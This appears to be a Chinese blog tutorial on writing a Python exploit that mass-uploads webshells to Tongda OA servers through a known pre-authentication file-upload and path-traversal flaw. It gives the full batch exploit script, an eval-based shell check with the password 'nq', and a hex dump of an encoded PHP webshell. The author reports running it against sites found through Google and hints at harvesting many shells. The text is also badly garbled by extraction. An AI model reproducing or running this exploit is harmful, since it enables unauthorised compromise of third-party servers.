作者:奶權

0x00 前言

前面一篇Python系列之——zzcms漏洞挖掘到exp編寫相信大家應該都讀過了

大家應該都覺得用程式實現自動化漏洞利用很爽吧

今天就來教一下大家怎麼透過已知的漏洞編寫exp

0x01 漏洞分析

以通達OA前臺getshell為例(漏洞來自90sec論壇)

Python系列之——編寫已知漏洞exp實現批次getshell

Python系列之——編寫已知漏洞exp實現批次getshell

論壇給出的exp講人話就是 post一個檔案、“type=addfile”和“other=}/。。/。。/。。/。。/{22”到“pda/apps/report/getdata。php”

變成程式碼就是

uploadFile

=

{

‘ATTACHMENT’

open

‘shell。php’

‘rb’

)}

#需要zend加密後的php檔案

uploadData

=

{

‘type’

‘addfile’

‘other’

‘}/。。/。。/。。/。。/{22’

}

0x02 exp編寫

接著就傳送請求且判斷shell是否被安全狗等waf殺掉

try

res

=

requests

post

website

+

‘/pda/apps/report/getdata。php’

files

=

uploadFile

data

=

uploadData

testData

=

{

‘nq’

“echo ‘You got a shell!’;”

}

#利用一句話裡面的eval函式輸出一段話用於判斷shell可用性

r

=

requests

post

shellPath

data

=

testData

if

r

status_code

==

200

and

‘You got a shell!’

in

r

text

print

shellPath

opt2File

shellPath

加上各種條件判斷和異常處理後

def

runGetshellExp

website

):

uploadFile

=

{

‘ATTACHMENT’

open

‘shell。php’

‘rb’

)}

uploadData

=

{

‘type’

‘addfile’

‘other’

‘}/。。/。。/。。/。。/{22’

}

try

r

=

requests

get

website

except

print

‘Can

\’

t visit‘

+

website

return

try

res

=

requests

post

website

+

’/pda/apps/report/getdata。php‘

files

=

uploadFile

data

=

uploadData

uploadResp

=

json

loads

res

text

if

uploadResp

0

][

’src‘

is

not

None

and

uploadResp

0

][

’res‘

==

’true‘

shellPath

=

website

+

’/{22}_shell。php‘

testData

=

{

’nq‘

“echo ’You got a shell!‘;”

}

r

=

requests

post

shellPath

data

=

testData

print

r

text

if

r

status_code

==

200

and

’You got a shell!‘

in

r

text

print

shellPath

opt2File

shellPath

except

print

website

+

’ Can

\‘

t getshell’

return

然後寫入檔案的函式= =(又寫這個函數了)

def

opt2File

shellPath

):

try

f

=

open

‘result。txt’

‘a’

f

write

shellPath

+

\n

finally

f

close

()

完整程式碼

#coding:utf-8

import

requests

import

json

def

opt2File

shellPath

):

try

f

=

open

‘result。txt’

‘a’

f

write

shellPath

+

\n

finally

f

close

()

def

runGetshellExp

website

):

uploadFile

=

{

‘ATTACHMENT’

open

‘shell。php’

‘rb’

)}

uploadData

=

{

‘type’

‘addfile’

‘other’

‘}/。。/。。/。。/。。/{22’

}

try

r

=

requests

get

website

except

print

‘Can

\’

t visit‘

+

website

return

try

res

=

requests

post

website

+

’/pda/apps/report/getdata。php‘

files

=

uploadFile

data

=

uploadData

uploadResp

=

json

loads

res

text

if

uploadResp

0

][

’src‘

is

not

None

and

uploadResp

0

][

’res‘

==

’true‘

shellPath

=

website

+

’/{22}_shell。php‘

testData

=

{

’nq‘

“echo ’You got a shell!‘;”

}

r

=

requests

post

shellPath

data

=

testData

print

r

text

if

r

status_code

==

200

and

’You got a shell!‘

in

r

text

print

shellPath

opt2File

shellPath

except

print

website

+

’ Can

\‘

t getshell’

return

websiteList

=

‘http://localhost:8080/’

#站點列表

for

i

in

websiteList

runGetshellExp

i

0x03 小試牛刀

本地搭建了個demo試了一下

Python系列之——編寫已知漏洞exp實現批次getshell

Python系列之——編寫已知漏洞exp實現批次getshell

又去Google了一些站點來試試指令碼

Python系列之——編寫已知漏洞exp實現批次getshell

Python系列之——編寫已知漏洞exp實現批次getshell

搜尋引擎關鍵字我就不公佈了 大家自己找吧

要是關鍵字找得好一點的話估計是可以拿一大波shell的

但請各位知友們還是點到為止 不要浪喲

0x04 附錄

Zend加密後的shell。php(與指令碼放同個目錄下 密碼:nq)

3

c3f

7068

7020

405

a

656

e

643

b

0

a33

3037

343

b

0

a2f

2

a20

0001

f121

5468

6973

2069

7320

6e6

f

7420

6120

7465

7874

2066

696

c

6521

deed

0020

202

a

2

f0a

7072

696

e

7420

3

c3c

3

c45

4

f4d

0

a3c

2144

4

f43

5459

5045

2048

544

d

4

c20

5055

424

c

4943

2022

2

d2f

2

f57

3343

2

f2f

4454

4420

4854

4

d4c

2034

2e30

2054

7261

6e73

6974

696

f

6e61

6

c2f

2

f45

4e22

3e3

c

4854

4

d4c

3e3

c

4845

4144

3e3

c

2

f48

4541

443

e

3

c42

4

f44

5920

4

c41

4e47

3

d22

656

e

2

d55

5322

2044

4952

3

d22

4

c54

5222

3e3

c

4832

2041

4

c49

474

e

3

d43

454

e

5445

523

e

5

a65

6e64

2047

7561

7264

2052

756

e

2

d74

696

d

6520

7375

7070

6

f72

7420

6

d69

7373

696

e

6721

3

c2f

4832

3e3

c

503

e

4

f6e

6520

6

d6f

7265

206

d

6

f72

6520

6669

6

c65

7320

6

f6e

2074

6869

7320

7765

6220

7369

7465

2077

6572

6520

656

e

636

f

6465

6420

6279

203

c

4120

4852

4546

3

d22

6874

7470

3

a2f

2

f77

7777

2e7

a

656

e

642

e

636

f

6

d2f

7072

6

f64

7563

7473

2

f67

7561

7264

223

e

5

a65

6e64

4775

6172

643

c

2

f41

3e20

616

e

6420

7468

6520

7265

7175

6972

6564

2072

756

e

2

d74

696

d

6520

7375

7070

6

f72

7420

6973

206

e

6

f74

2069

6e73

7461

6

c6c

6564

206

f

7270

726

f

7065

726

c

7920

636

f

6e66

6967

7572

6564

2e3

c

2

f50

3e3

c

4833

3e46

6

f72

2074

6865

2057

6562

2073

6974

6520

7573

6572

3

c2f

4833

3e3

c

503

e

5468

6973

206

d

6561

6e73

2074

6861

7420

7468

6973

2057

6562

2073

6572

7665

7220

6973

206

e

6

f74

2063

6

f6e

6669

6775

7265

6420

636

f

7272

6563

746

c

7920

746

f

2072

756

e

7468

6520

6669

6

c65

7320

7468

6174

2069

7420

636

f

6e74

6169

6e73

2e20

506

c

6561

7365

2063

6

f6e

7461

6374

2074

6865

2057

6562

2073

6974

6527

7361

646

d

696

e

6973

7472

6174

6

f72

2

f77

6562

6

d61

7374

6572

2061

6e64

2069

6e66

6

f72

6

d20

7468

656

d

206

f

6620

7468

6973

2070

726

f

626

c

656

d

2061

6e64

2067

6976

6520

7468

656

d

7468

6520

5552

4

c20

796

f

7520

6172

6520

7472

7969

6e67

2074

6

f20

6469

7370

6

c61

7920

746

f

2068

656

c

7020

7468

656

d

2069

6e20

6469

6167

6e6

f

7369

6e67

2074

6865

7072

6

f62

6

c65

6

d2e

3

c2f

503

e

3

c48

333

e

466

f

7220

5468

6520

5369

7465

2041

646

d

696

e

6973

7472

6174

6

f72

2

f57

6562

204

d

6173

7465

723

c

2

f48

333

e

3

c50

3e4

f

6e65

206

f

7220

6

d6f

7265

2066

696

c

6573

206

f

6e20

796

f

7572

2073

6974

6520

7765

7265

2065

6e63

6

f64

6564

2077

6974

6820

5

a65

6e64

2047

7561

7264

2e20

5468

6973

6

d61

7920

6265

2074

6869

7264

2070

6172

7479

206

c

6962

7261

7269

6573

2074

6861

7420

7765

7265

2070

726

f

7669

6465

6420

746

f

2079

6

f75

2062

7920

616

e

2049

5356

2e20

546

f

616

c

6

c6f

7720

7468

6573

6520

6669

6

c65

7320

746

f

2070

726

f

7065

726

c

7920

7275

6e20

796

f

7520

6e65

6564

2074

6

f20

646

f

776

e

6

c6f

6164

2061

6e64

2069

6e73

7461

6

c6c

6

f6e

6520

6

f66

2074

6865

205

a

656

e

6420

6775

6172

6420

7275

6e2

d

7469

6

d65

206

c

6962

7261

7269

6573

2e20

5468

6973

2069

7320

6569

7468

6572

205

a

656

e

644

f

7074

696

d

697

a

6572

206

f

7220

5

a65

6e64

204

c

6

f61

6465

722

e

2054

6865

2070

726

f

7065

7220

6669

6

c65

7320

6361

6e20

6265

2064

6

f77

6e6

c

6

f61

6465

6420

6672

6

f6d

3

c41

2048

5245

463

d

2268

7474

703

a

2

f2f

7777

772

e

7

a65

6e64

2e63

6

f6d

2

f67

7561

7264

2

f64

6

f77

6e6

c

6

f61

6473

223

e

6874

7470

3

a2f

2

f77

7777

2e7

a

656

e

642

e

636

f

6

d2f

6775

6172

642

f

646

f

776

e

6

c6f

6164

733

c

2

f41

3e2

e

5468

6973

2073

6

f66

7477

6172

6520

6973

2070

726

f

7669

6465

6420

6672

6565

206

f

6620

6368

6172

6765

2e3

c

2

f50

3e3

c

503

e

3

c42

3e47

656

e

6572

616

c

2044

6973

636

c

6169

6

d65

723

a

3

c2f

423

e

205

a

656

e

6420

5465

6368

6e6

f

6

c6f

6769

6573

2069

7320

6e6

f

7420

7265

7370

6

f6e

7369

626

c

6520

746

f

7468

6520

636

f

6e66

6967

7572

6174

696

f

6e20

616

e

6420

7365

7475

7020

6

f66

2077

6562

2073

6974

6573

2075

7369

6e67

205

a

656

e

6420

4775

6172

6420

7465

6368

6e6

f

6

c6f

6779

2e50

6

c65

6173

6520

636

f

6e74

6163

7420

796

f

7572

2073

6

f66

7477

6172

6520

7665

6e64

6

f72

2069

6620

7468

6573

6520

636

f

6

d70

6

f6e

656

e

7473

2077

6572

6520

7072

6

f76

6964

6564

6279

2061

6e20

4953

5620

6

f72

2063

6

f6e

7375

6

c74

2079

6

f75

7220

5

a65

6e64

2047

7561

7264

2055

7365

7273

2047

7569

6465

2069

6620

7468

6573

6520

6669

6

c65

7320

7765

7265

656

e

636

f

6465

6420

6279

2079

6

f75

7220

6

f72

6761

6e69

7

a61

7469

6

f6e

2e3

c

2

f50

3e3

c

2

f42

4

f44

593

e

3

c2f

4854

4

d4c

3e0

a

454

f

4

d3b

0

a65

7869

7428

293

b

0

a5f

5

f68

616

c

745

f

636

f

6

d70

696

c

6572

2829

3

b0a

3

f3e

0

a0a

0

b32

3030

3430

3732

3230

3300

0636

3535

3431

0004

3136

3300

0432

3732

007

8

f90a

9

f32

0

c03

15

fe

51

a9

7929

0

aae

79

a0

8

aa6

0858

9966

26e6

40

bc

0651

cc6d

6862

6e6

e

686

a

686

c

6e04

641

b

189

b

1999

9

a59

020

b

1470

8320

a534

37

b7

522

f

3125

a508

5

aaf

3370

191

a

9

b18

199

a

9

b1b

814

b

4290

5590

961

e

38

c7

3042

430

a

9

ab4

2

fb0

4003

10e2

3

cb0

98

b2

0

ad0

992

c

d0d4

c300

7188

2

c07

588

d

11

b2

5

ea8

4

f8c

19

d8

a091

131

f

e01f

1

c02

f212

a444

05e2

bc42

3017

961

c

419

c

ff0c

f0a0

8406

a8ae

210

a

1

f00

d564

21

d7

本文禁止任何形式轉載 知乎官方除外